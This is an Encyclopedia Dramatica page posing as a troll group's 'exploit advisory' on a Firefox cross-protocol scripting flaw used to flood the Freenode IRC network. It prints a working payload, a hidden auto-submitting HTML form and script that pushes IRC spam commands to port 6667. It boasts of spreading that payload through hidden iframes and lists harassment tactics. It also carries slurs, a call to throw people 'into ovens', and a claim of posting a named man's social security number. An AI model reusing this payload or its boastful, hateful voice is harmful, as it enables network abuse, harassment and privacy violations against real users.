Firefox XPS IRC Attack

GOATSE SECURITY TEAM 0-DAY EXPLOIT ADVISORY irc.gnaa.eu #gnaa to discuss security consulting arrangements

Since it's been copied to much less sweet websites (without credit or sourcing), it's time to write up a security advisory (I believe the publishing of infosec advisories is a first for Encyclopedia Dramatica, lulz) and let everybody know whats up. Firefox has a hole in its port blocking scheme that allows a clever troll to spam an unsuspecting IRC daemon with whatever he desires. The GNAA leveraged this vulnerability to bring complete ruin upon the Freenode IRC network.

How it works

A new implementation of cross-protocol scripting was used to automatically fill a HTTP form to send a POST to port 6667 and shove a bunch of IRC commands down the socket. Although Mozilla banned most of the fun ports years ago, 6667 -- the default port for IRC servers, wasn't on the list. In all likelihood, this the first use of this attack in the wild, ever.

This attack has a lot of implications outside of IRC. Think of all the other TCP ports that are in common use these days that aren't covered in Mozilla's banned list. Most protocols do not use a cookied handshake of any sort to initiate a connection. The sheer amount of potential that exists in turning a web browser into a device speaking an arbitrary protocol is huge. For example, SIP protocol can run on TCP these days. You can make someone's web browser interact with a SIP device. All sorts of potentially criminal and civil liability generating applications. Expect more of them to appear out of the GNAA labs in the future!

[-+]Example source (click plus to uncollapse)

---

<form action="http://irc.freenode.net:6667/" method="post" enctype="text/plain"> 
<textarea style="display:none" id="x" name="x"></textarea>
<input type="submit" style="display:none;" />
</form>
<script type="text/javascript">
function randomString(length) {
        var chars = "abcdefghiklmnopqrstuvwxyz";
        var randomstring = '';
        for (var i=0; i<length; i++) {
                var rnum = Math.floor(Math.random() * chars.length);
                randomstring += chars.substring(rnum,rnum+1);
        }
        return randomstring;
}
n=randomString(Math.floor(Math.random()*10+3));
i=randomString(Math.floor(Math.random()*10+3));
te=document.getElementById('x');
te.value = '\nUSER '+i+' 8 * :'+n+'\nNICK '+n+'\nJOIN #freenode\n'+new Array(99).join('PRIVMSG #freenode :Protect your rights online! Do not be squished by the leaders! Support the GNAA at irc.gnaa.eu #gnaa ....... My name is '+n+', and I hope you have a nice day.\n');
te.parentNode.submit()
</script> 

Browser rundown

• Firefox affected, all versions
• Seamonkey affected, all versions
• Mozilla suite affected, all versions
• Possibly others affected
• Microsoft Internet Explorer, Apple Safari unaffected. Because closed-source commercial products are simply better.

IRCD rundown

• Efnet, no longer affected (took them about an hour to enact countermeasures)
• Buttesnet, no longer affected. (took them about 4 hours to enact countermeaures)
• OFTC, no longer affected (took them about a day)
• Freenode, over 1 month to enact countermeasures with a server upgrade from Hyperion to ircd-seven, after which they immediately got raped by GNAA. (LOL)

Best things that were done to Freenode

• Embedded exploit in hidden iframes in everyone's favorite shock site, leading to thousands of hosts joining network.
• Messaged Freenode opers blog links with hidden iframes and watched as they all k-lined eachother

What the attack looks like to a Typical Macintosh User

How it appears in the IRC client of rich and beautiful people.

• Switched up the floods to CTCP and made users flood themselves off with CTCP replies over and over again until they were k-lined from servers with reconnect limits.
• Flooded freenode with channel names full of legitimate users implying they were troll channels, making paranoid freenode ops ban their own legitimate users.
• After seeing a Freenode staff member make a bot that automatically k-lined flooding users in a channel with wildcards, manually flooded the channel from a shell account and watched it ban an entire TLD, taking a gigantic swath of the network with it.
• Made Freenode staff xenophobic and paranoid and watched them k-line anyone who dared ask for assistance or complain about the floods.
• Making Freenode users self-propagate the link on third party blogging services with warnings to not click the link (we got huge referrals from Twitter, thanks dudes)

You are mean. Why did you torture freenode so much?

Freenode/PDPC is a fucking fraud. In the entire time it has existed, it has never released financial statements. Rob Levin used PDPC to embezzle hundreds of thousands of dollars which should have been given to open source development projects. He faked his death, and came back in this "christel" incarnation in Europe to continue embezzling from Freenode. It is all a big lie, and these people should be thrown into ovens. EFnet continuously hosts 100x the number of users that Freenode does without constant netsplits and incidents. OFTC does not sit there and continuously beg for money. Get off of Freenode. Go to somewhere that is ethical.

Beyond that, the trolling scene has a lot invested in ruining Freenode. I posted Rob Levin's social security number, enabling the series of identity thefts and ruins that forced the man to fake his death. With Bantown, I watched Jmax sniff lilo's oper block password off the wire and absolutely wreck the network in it. I also watched Grog (of the GNAA at the time, until he was excommunicated by the former tyrant timecop) convince lilo that he was the founder of MySQL, get opered up, wreck the network. Then he convinced lilo that his daughter's computer was hacked, apologized, got his o:line back and wrecked the network again.

In short, wrecking Freenode is a long and glorious troll tradition that stretches backwards for time immemorial. If you associate with Freenode, use Freenode, or support Freenode, you are a target. You are asking to be destroyed.

See Also

• Safari XPS Attack

External Links

• Freenode publically admitting they cant figure out iptables, pf, or snort and a simple shell script
• The Register: Firefox-based attack wreaks havoc on IRC users
• Softpedia: Firefox Bug Used to Harass Entire IRC Network
• IRC-Junkie: UnrealIRCd team releases patch against Firefox XPS Attack

Non-English sources

• Milliyet, Firefox ile hack'lediler!, Turkish
• Xakep, Эксплоит для бреши в Firefox позволил хакерам внести хаос в работу IRC-сетей, Russian
• Gulli, Firefox-Schwachstelle ermöglicht Angriff auf IRC-Netze, German
• Techworld.nl (IDG), Bug in Firefox gebruikt tegen IRC netwerk, Dutch
• Hungarian Unix Portal, Firefox XPS bug - a Firefox sebezhetőségét kihasználva floodoltatták az IRC csatornákat, Hungarian
• AZPoint, Mozilla: bug manda in crisi Freenode IRC, Italian
• Logiciel, Une faille Firefox utilisée pour attaquer Freenode, un réseau IRC, French

Firefox XPS IRC Attack is part of a series on the Gay Nigger Association of America.

Members • Victories • Related BLACK_MAN • DiKKy • fl0ss • Grog • Hipcrime • jesuitx • Jmax • l0de • LiteralKa • Meepsheep • Oliver Hart • Rucas • sloth • Timecop • weev 2012 GNAA Tumblr Ruin • Angryjedi • Cut4Bieber • Diego Grez • Ethan Ralph • Fluttershy • Firefox XPS IRC Attack • The Great Dumbledore Dies Meme of 2005 • HighInBC • JEWS DID WTC • MuZemike • SANDYLOOTCREW • Selery • UK Lootfest 2011 • More.. Dangerman • DiKKv • dongforce • Gayniggers from Outer Space • Goatse Security • Grogv • KLULZ • Last Measure • Linux for Niggers • NCF • Obetrol • Slashdot • Spaceghetto

Firefox XPS IRC Attack is part of a series on epic events and trolls

Epic Win 2011 Norway attacks • 2012 GNAA Tumblr Ruin • AFI Incident • Agile2013 • /b/lackup • /b/space • BadfurDay VS. DeviantART • Bullet to the Head of the NRA • Chan Death • The Chanology Experiments • CosmicJohn CL Experiment • #Cut4Bieber • dAmn Exploit • DeviantART Policy Changes • Dub the Dew • Ebola-chan • #ExilePitbull • The Fappening • Firefox XPS IRC Attack • Guatemala Day • Habbo Raid 2006 • Habbo Raid 2007 • He Will Not Divide Us • Hitler TopTens • Hitler: The Babe Within • Internet Vigilante Group • JEWS DID WTC • Judith Park's Leaked Photos • LiveJournal Buyout 2005 • LiveJournal Buyout 2007 • LiveJournal Strikethrough • LJ Abuse Conspiracy • Muhammed Sex Simulator 2015 • Old /b/ Day • Olympic Flame • Operation LIONCASH • Operation YouTube • Pokéclipse • PROJECT CHANOLOGY • Pwnest Peters • RFJason CL Experiment • The Rolling : MTV Gets Rickroll'd • #SANDYLOOTCREW • Sharecash DDoS • Waterproof iOS7 • Y!Gallery Bans Anthro • YouTube Civil War • YouTube Furry War Epic Fail 4chan 2025 MegaHack • 4chan's Death and Revival • /b/-day • /b/'s Cancer • Boston Fail Party • Chanocalypse Naow • Dshocker • The ED Civil War • Em/b/assy Security Leak • GoddessTrinity • The Great Hack Of Facepunch • The Great ImageFap Troll • [email protected] • Italian Wikipedia Publicity Stunt • Operation Antfuck • Operation Awesome • Operation Blue Crayon • Operation Falcon Punch • Operation Timebomb v2 • Penis Pump Sex Scandal '06 • Perfection Girl • Re/b/oot • Shaymin • Sonic-cide

Firefox XPS IRC Attack is part of a series on IRC	Please visit the IRC PORTAL for more A-B • C-D • E-F • G-H • I-J • K-L • M-N • O-P Q-R • S-T • U-V • W-X • Y-Z • # ASCII • Abducted IRC • Alan Sullivan • AnonNet • AnonOps • Anthrochat • Aol.pl • Austnet • Axila • BLACK MAN • Banbot • Bantown • Bonzi_b • BonziWORLD • Bookz • Boten Anna • Botnet • Buttes Chirpnet • Cigarsex • Crapflood • DCC SEND startkeylogger 0 0 0 • Dau.pl • Dongforce • Doxbin EmiNet • Firefox XPS IRC Attack • Freenode • Freenodegate • Fuck You Garrett • Gay Nigger Association of America • Gay Nigger Association of America/Victories • Gay.pl • Get On IRC Fgt • Good job opers • Grove • HorseNews • Hueg.pl IRC • ED:IRC • IRC FAQ • IRC-Gallery • IRC CASE STUDY: Andres • Icechat • Idlenet • Insub • Internet Freedom Movement • Ircimages • Irssi • Irssi/scripts • Irssi/scripts/aol.pl • Irssi/scripts/blocks.pl • Is chat dead? K-line • Kale • Kloeri • Kunwon1 • L0de Radio Hour • LOL WUT/ASCII • Lilypichu Meepsheep • MIRC • MIRC Script • Michael Horowitz Foster • NekoArc • User:NekoArc/Krack.in • Niggest Crook Force Odin • Penis Pump • phobos • Psystra Quitting IRC Forever • R000t • Raspberryheaven • Ravpup • Rizbow • Rizon • Robert Levin Snitch • Snugglenets • Snugglenets/Nay Quits Irc Forever Again • Something is on fire • The Great ED IRC War of 2013 • ToKeN • Tomgreen • Tsukihi ( ͡° ͜ʖ ͡°) Weev • Wharrrgarbl • Wikipedia IRC Bouncers Zaiger ( ͡° ͜ʖ ͡°)

Firefox XPS IRC Attack is part of a series on Softwarez Visit the Softwarez Portal for complete coverage.

Featured article March 7, 2010
Preceded by HOW CAN SHE SLAP?!?	Firefox XPS IRC Attack	Succeeded by American Family Association